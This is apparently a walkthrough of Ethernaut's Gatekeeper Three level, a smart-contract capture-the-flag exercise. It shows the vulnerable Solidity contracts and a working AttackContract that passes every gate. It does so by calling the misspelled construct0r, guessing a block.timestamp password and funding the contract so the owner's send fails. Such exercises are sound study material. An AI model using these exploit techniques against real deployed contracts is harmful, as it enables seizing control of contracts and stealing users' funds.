Level 28 - Gatekeeper 3 ⏺⏺⏺

Level Setup

Cope with gates and become an entrant.

Things that might help:

  • Recall return values of low-level functions.

  • Be attentive with semantic.

  • Refresh how storage works in Ethereum.

Level Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract SimpleTrick {
    GatekeeperThree public target;
    address public trick;
    uint256 private password = block.timestamp;

    constructor(address payable _target) {
        target = GatekeeperThree(_target);
    }

    function checkPassword(uint256 _password) public returns (bool) {
        if (_password == password) {
            return true;
        }
        password = block.timestamp;
        return false;
    }

    function trickInit() public {
        trick = address(this);
    }

    function trickyTrick() public {
        if (address(this) == msg.sender && address(this) != trick) {
            target.getAllowance(password);
        }
    }
}

contract GatekeeperThree {
    address public owner;
    address public entrant;
    bool public allowEntrance;

    SimpleTrick public trick;

    function construct0r() public {
        owner = msg.sender;
    }

    modifier gateOne() {
        require(msg.sender == owner);
        require(tx.origin != owner);
        _;
    }

    modifier gateTwo() {
        require(allowEntrance == true);
        _;
    }

    modifier gateThree() {
        if (address(this).balance > 0.001 ether && payable(owner).send(0.001 ether) == false) {
            _;
        }
    }

    function getAllowance(uint256 _password) public {
        if (trick.checkPassword(_password)) {
            allowEntrance = true;
        }
    }

    function createTrick() public {
        trick = new SimpleTrick(payable(address(this)));
        trick.trickInit();
    }

    function enter() public gateOne gateTwo gateThree {
        entrant = tx.origin;
    }

    receive() external payable {}
}

Exploit

make anvil-exploit-level-28

<INPUT_LEVEL_INSTANCE_CONTRACT_ADDRESS>
src/Level28.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

// ================================================================
// │                   LEVEL 28 - GATEKEEPER THREE                │
// ================================================================
interface IGatekeeperThree {
    function construct0r() external;
    function enter() external;
    function createTrick() external;
    function getAllowance(uint256 _password) external;
}

contract AttackContract {
    IGatekeeperThree gatekeeper;

    constructor(address targetContractAddress) payable {
        gatekeeper = IGatekeeperThree(targetContractAddress);
    }

    function attack() public {
        // ** Gate One **
        gatekeeper.construct0r();

        // ** Gate Two **
        gatekeeper.createTrick();
        gatekeeper.getAllowance(block.timestamp);

        // ** Gate Three **
        (bool success,) = address(gatekeeper).call{value: 0.002 ether}("");
        require(success);

        gatekeeper.enter();
    }
}

Submit instance... 🥳

Completion Message

Nice job! For more information read this and this.

Last updated